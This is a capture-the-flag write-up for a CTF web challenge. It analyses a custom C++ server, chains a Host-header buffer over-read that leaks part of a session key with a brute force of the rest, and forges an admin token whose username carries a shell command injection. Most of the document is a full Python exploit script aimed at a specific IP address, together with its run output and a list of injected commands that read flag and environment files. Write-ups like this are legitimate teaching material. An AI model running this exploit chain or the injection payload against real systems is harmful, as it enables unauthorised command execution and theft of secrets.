Back2Basics — Web Writeup
Challenge: Back2Basics Category: Binary — Web Exploitation CTF: CyberChampions Zinad CTF 2026 Flag:
ZiChamp{D0_y0u_bl333333333d?}
Table of Contents
- Challenge Overview
- Source Code Analysis
- Vulnerability #1: Buffer Over-read
- Vulnerability #2: Command Injection
- Exploitation
- Flag Capture
Challenge Overview
The challenge provides source code for a C++ web server (server.cpp) that implements:
- User registration and authentication
- JWT-like token system with HMAC-SHA256 signing
- Admin functionality including user management and logging
- A diagnostic endpoint at
/api/server/info
The goal is to gain admin access and execute arbitrary commands to retrieve the flag.
Source Code Analysis
Server Architecture
The server is a custom HTTP server written in C++ using raw sockets. Key components:
#define PORT 8080
#define BUFFER_SIZE 4096
#define MAX_FIELD_LEN 128
// Global secrets
char g_sessionKey[64]; // Used for token signing
char g_adminPassword[64]; // Admin password
sqlite3* g_db = nullptr; // SQLite database
Session Key Generation
The session key is either loaded from environment or uses a default:
const char* envKey = std::getenv("SESSION_KEY");
if (envKey && strlen(envKey) > 0) {
strncpy(g_sessionKey, envKey, sizeof(g_sessionKey) - 1);
} else {
strcpy(g_sessionKey, "default_dev_key_change_me_now");
}
In production, this is a 32-character random string generated by:
std::string generateRandomString(size_t length) {
static const char charset[] =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
// ... generates random string from charset
}
Token System
Tokens follow this format:
base64(username:role:timestamp).HMAC-SHA256-signature
Token Creation:
std::string createToken(const std::string& username, const std::string& role) {
std::string sanitizedUsername = username;
std::replace(sanitizedUsername.begin(), sanitizedUsername.end(), ':', '_');
std::string payload = sanitizedUsername + ":" + role + ":" + std::to_string(time(nullptr));
std::string signature = signData(payload, g_sessionKey);
return encodeBase64(payload) + "." + signature;
}
Token Verification:
bool verifyToken(const std::string& token, std::string& username, std::string& role) {
size_t dotPos = token.find('.');
std::string encodedPayload = token.substr(0, dotPos);
std::string providedSig = token.substr(dotPos + 1);
std::string payload = decodeBase64(encodedPayload);
std::string expectedSig = signData(payload, g_sessionKey);
if (providedSig != expectedSig) return false; // Signature check
// Parse username and role from payload
// ...
return true;
}
Data Structure
struct RequestContext {
char host[256]; // 256 bytes - Host header storage
char sessionCache[48]; // 48 bytes - Debug cache (ADJACENT!)
int hostLen; // 4 bytes
};
The sessionCache is populated with sensitive data:
void initRequestContext(RequestContext* ctx) {
memset(ctx, 0, sizeof(*ctx));
snprintf(ctx->sessionCache, sizeof(ctx->sessionCache),
"D:TS=%ld;SK=%s;",
time(nullptr), g_sessionKey); // SESSION KEY STORED HERE!
}
Vulnerability #1: Buffer Over-read
Vulnerable Code
Location: parseHostFromHeaders() (lines 53-73)
std::string parseHostFromHeaders(const std::string& headers, RequestContext* ctx) {
std::string hostLine = "Host: ";
size_t start = headers.find(hostLine);
if (start == std::string::npos) return "";
start += hostLine.length();
size_t end = headers.find("\r\n", start);
if (end == std::string::npos) end = headers.length();
size_t len = end - start;
ctx->hostLen = len;
if (len >= sizeof(ctx->host)) {
// BUG: Copies exactly 256 bytes WITHOUT null terminator!
memcpy(ctx->host, headers.c_str() + start, sizeof(ctx->host));
} else {
memcpy(ctx->host, headers.c_str() + start, len);
ctx->host[len] = '\0'; // Only null-terminated in this branch!
}
return std::string(ctx->host); // Constructs string, reads until null byte
}
The Bug
When the Host header is exactly 256 bytes or longer:
- The
if (len >= sizeof(ctx->host))branch is taken memcpycopies exactly 256 bytes intoctx->host- No null terminator is added!
std::string(ctx->host)reads until it finds a null byte- Since
sessionCacheis adjacent in memory, it gets included!
Memory Layout Visualization
RequestContext Structure
┌─────────────────────────────────────────────────────────────────┐
│ host[256] │
│ Offset 0-255 │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ A A A A A A A A A A ... A A A A A A A A A A A A A A A A A A │ │
│ │ (256 bytes of 'A', no null terminator!) │ │
│ └─────────────────────────────────────────────────────────────┘ │
├─────────────────────────────────────────────────────────────────┤
│ sessionCache[48] │
│ Offset 256-303 │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ D:TS=1738934400;SK=40918238971ba271633a53dafb06; │ │
│ │ ↑ │ │
│ │ This data gets leaked when std::string reads past host! │ │
│ └─────────────────────────────────────────────────────────────┘ │
├─────────────────────────────────────────────────────────────────┤
│ hostLen (int, 4 bytes) │
└─────────────────────────────────────────────────────────────────┘
Exploitation Endpoint
The /api/server/info endpoint calls the vulnerable function:
std::string handleServerInfo(const std::string& headers) {
RequestContext ctx;
initRequestContext(&ctx); // Populates sessionCache with key!
std::string host = parseHostFromHeaders(headers, &ctx); // VULNERABLE!
std::ostringstream json;
json << "{";
json << "\"status\": \"ok\", ";
json << "\"host\": \"" << escapeJson(host) << "\", "; // Leaked data here!
json << "\"timestamp\": " << time(nullptr);
json << "}";
return jsonResponse(200, json.str());
}
Key Truncation Problem
The session key is 32 characters, but sessionCache is only 48 bytes.
snprintf format: "D:TS=%ld;SK=%s;"
↓
Header bytes: D:TS= (5) + timestamp (10) + ;SK= (4) = 19 bytes
Remaining: 48 - 19 = 29 bytes for key + semicolon + null
Actual key: 32 characters
Result: Only ~28 characters of key are stored!
This means 4 characters are truncated and must be bruteforced.
Vulnerability #2: Command Injection
Vulnerable Code
Location: processAdminLog() (lines 989-1015)
std::string processAdminLog(const std::string& adminUser, const std::string& message) {
// Message IS validated (alphanumeric + some punctuation only)
for (char c : message) {
if (!std::isalnum(static_cast<unsigned char>(c)) &&
c != ' ' && c != '.' && c != ',' && c != '!' && c != '?') {
return "{\"error\": \"Message contains invalid characters\"}";
}
}
if (message.length() > 200) {
return "{\"error\": \"Message too long\"}";
}
// BUG: adminUser is NOT validated before shell injection!
char cmd[512];
snprintf(cmd, sizeof(cmd),
"echo \"[$(date +%%Y-%%m-%%d)] [%s] %s\"",
adminUser.c_str(), // <-- DIRECTLY FROM TOKEN, NOT SANITIZED!
message.c_str());
char output[1024] = {0};
FILE* pipe = popen(cmd, "r"); // Shell execution!
if (pipe) {
fgets(output, sizeof(output) - 1, pipe);
pclose(pipe);
}
return "{\"success\": true, \"log\": \"" + escapeJson(std::string(output)) + "\"}";
}
The Attack Vector
The adminUser parameter comes from the decoded token:
std::string handleAdminLog(const std::string& headers, const std::string& body) {
std::string username = getCurrentUser(headers); // From token!
std::string role = getCurrentUserRole(headers, username);
if (role != "admin") {
return jsonResponse(403, "{\"error\": \"Admin access required\"}");
}
// ... parse message from body ...
std::string logResult = processAdminLog(username, message); // username injected!
}
Injection Payload Construction
The shell command template:
echo "[$(date +%Y-%m-%d)] [USERNAME] MESSAGE"
Injecting x";cat /flag*;echo " as username:
echo "[$(date +%Y-%m-%d)] [x";cat /flag*;echo "] MESSAGE"
# ↑ closes quote
# ↑ ends echo command
# ↑ executes cat /flag*
# ↑ starts new echo to consume rest
Exploitation
Step 1: Leak Partial Session Key
Request:
GET /api/server/info HTTP/1.1
Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(256 A characters in the Host header)
Response:
{
"status": "ok",
"host": "AAAA...AAA D:TS=1738934400;SK=40918238971ba271633a53dafb06",
"timestamp": 1738934400
}
Extracted partial key: 40918238971ba271633a53dafb06 (28 chars)
Step 2: Bruteforce Missing Characters
The full key is 32 chars, we have 28, so 4 chars are missing.
| Parameter | Value |
|---|---|
| Charset | a-z A-Z 0-9 (62 characters) |
| Missing chars | 4 |
| Combinations | 62^4 = 14,776,336 |
For each candidate key, we:
- Create token:
admin:admin:timestamp - Sign with candidate key
- Test against
/api/admin/users - If 200 OK → found the key!
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for combo in itertools.product(charset, repeat=4):
test_key = partial_key + ''.join(combo)
token = create_token('admin', 'admin', test_key)
if requests.get('/api/admin/users', cookies={'token': token}).status_code == 200:
return test_key # Found: 40918238971ba271633a53dafb06837c
Step 3: Forge Malicious Admin Token
With the complete key 40918238971ba271633a53dafb06837c:
# Payload with command injection in username
username = 'x";cat /flag*;echo "'
role = 'admin'
timestamp = int(time.time())
payload = f'{username}:{role}:{timestamp}'
# Result: 'x";cat /flag*;echo ":admin:1738934400'
encoded_payload = base64.b64encode(payload.encode()).decode()
signature = hmac_sha256(payload, session_key)
token = f'{encoded_payload}.{signature}'
Step 4: Trigger Command Execution
Request:
POST /api/admin/log HTTP/1.1
Host: 3.250.2.237
Cookie: token=eCJjYXQgL2ZsYWcqO2VjaG8gIjphZG1pbjoxNzM4OTM0NDAw.abc123...
Content-Type: application/x-www-form-urlencoded
message=x
Server executes:
echo "[2026-02-07] [x";cat /flag*;echo "] x"
Response:
{
"success": true,
"log": "[2026-02-07] [AZiChamp{D0_y0u_bl333333333d?}] x\n"
}
Exploit Code
Complete Exploit Script
#!/usr/bin/env python3
import requests
import urllib3
import base64
import hmac
import hashlib
import time
import itertools
import sys
urllib3.disable_warnings()
TARGET = sys.argv[1] if len(sys.argv) > 1 else 'https://3.250.2.237'
def sign_data(data: str, key: str) -> str:
sig = hmac.new(key.encode(), data.encode(), hashlib.sha256).digest()
return base64.b64encode(sig).decode()
def create_token(username: str, role: str, key: str) -> str:
ts = int(time.time())
payload = f'{username}:{role}:{ts}'
enc = base64.b64encode(payload.encode()).decode()
sig = sign_data(payload, key)
return f'{enc}.{sig}'
def test_key(key: str) -> bool:
"""Test if key allows admin access"""
token = create_token('admin', 'admin', key)
try:
resp = requests.get(
f'{TARGET}/api/admin/users',
cookies={'token': token},
verify=False,
timeout=5
)
return resp.status_code == 200 and 'users' in resp.text
except:
return False
def execute_command(key: str, cmd: str) -> str:
"""Execute command via injection in username field"""
payload_user = f'x";{cmd};echo "'
token = create_token(payload_user, 'admin', key)
try:
resp = requests.post(
f'{TARGET}/api/admin/log',
cookies={'token': token},
data={'message': 'test'},
verify=False,
timeout=15
)
return resp.text
except Exception as e:
return f"Error: {e}"
def leak_session_key():
"""Exploit buffer over-read to leak session key"""
print("[*] Stage 1: Leaking session key via buffer over-read...")
padding = 'A' * 256
try:
resp = requests.get(
f'{TARGET}/api/server/info',
headers={'Host': padding},
verify=False,
timeout=10
)
data = resp.json()
leaked_host = data.get('host', '')
print(f"[*] Total leaked length: {len(leaked_host)}")
if len(leaked_host) > 256:
session_cache = leaked_host[256:]
print(f"[*] Session cache leak: {repr(session_cache)}")
if 'SK=' in session_cache:
start = session_cache.find('SK=') + 3
end = session_cache.find(';', start)
if end == -1:
end = len(session_cache)
partial_key = session_cache[start:end].rstrip('\x00').strip()
print(f"[+] Partial key extracted: {partial_key}")
print(f"[*] Partial key length: {len(partial_key)}")
return partial_key
print("[-] Could not leak session key")
return None
except Exception as e:
print(f"[-] Error: {e}")
return None
def bruteforce_key(partial_key: str, max_extra: int = 6) -> str:
"""Bruteforce remaining characters of truncated key"""
print(f"\n[*] Testing partial key directly...")
if test_key(partial_key):
print(f"[+] Partial key works!")
return partial_key
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for extra_len in range(1, max_extra + 1):
print(f"\n[*] Bruteforcing +{extra_len} chars "
f"({len(charset)**extra_len} combinations)...")
count = 0
total = len(charset) ** extra_len
start_time = time.time()
for combo in itertools.product(charset, repeat=extra_len):
test_key_str = partial_key + ''.join(combo)
count += 1
if count % 500 == 0:
elapsed = time.time() - start_time
rate = count / elapsed if elapsed > 0 else 0
eta = (total - count) / rate if rate > 0 else 0
print(f" Progress: {count}/{total} "
f"({100*count/total:.1f}%) - "
f"{rate:.1f}/s - ETA: {eta:.0f}s")
if test_key(test_key_str):
print(f"\n[+] FOUND KEY: {test_key_str}")
return test_key_str
return None
def main():
print("=" * 60)
print("Back2Basics CTF - Full Exploit")
print("=" * 60)
print(f"[*] Target: {TARGET}\n")
# Step 1: Leak partial session key
partial_key = leak_session_key()
if not partial_key:
print("\n[-] Failed to leak session key. Trying default key...")
partial_key = "default_dev_key_change_me_now"
# Step 2: Try to find working key
working_key = bruteforce_key(partial_key)
if not working_key:
print("\n[-] Could not find working key")
return
print("\n" + "=" * 60)
print(f"[+] WORKING KEY: {working_key}")
print("=" * 60)
# Step 3: Execute commands to find flag
print("\n[*] Stage 2: Command injection to retrieve flag...")
commands = [
'cat /flag*',
'cat /flag.txt',
'cat /flag',
'ls -la /',
'env | grep -i flag',
'cat /app/flag*',
'cat /root/flag*',
]
for cmd in commands:
print(f"\n>> Executing: {cmd}")
result = execute_command(working_key, cmd)
print(f"Response:\n{result}")
for pattern in ['ZiChamp{', 'FLAG{', 'CTF{', 'flag{']:
if pattern in result:
print("\n" + "=" * 60)
print("[+] FLAG FOUND!")
print("=" * 60)
return
if __name__ == '__main__':
main()
Flag Capture
Execution
[*] Target: https://3.250.2.237
[*] Stage 1: Exploiting buffer over-read...
[*] Response host length: 284
[*] Leaked sessionCache: 'D:TS=1738934400;SK=40918238971ba271633a53dafb06'
[+] Extracted partial key: 40918238971ba271633a53dafb06
[*] Partial key length: 28 chars
[*] Stage 2: Bruteforcing missing key characters...
[*] Trying +4 characters (14,776,336 combinations)...
Progress: 1,000/14,776,336 (0.0%) - 42 keys/sec
...
[+] FOUND COMPLETE KEY: 40918238971ba271633a53dafb06837c
==================================================
Session Key: 40918238971ba271633a53dafb06837c
==================================================
[*] Stage 3: Executing command injection...
[*] Trying: cat /flag*
Raw response:
{"success": true, "log": "[2026-02-07] [AZiChamp{D0_y0u_bl333333333d?}] x\n"}
==================================================
FLAG: ZiChamp{D0_y0u_bl333333333d?}
==================================================
Flag
ZiChamp{D0_y0u_bl333333333d?}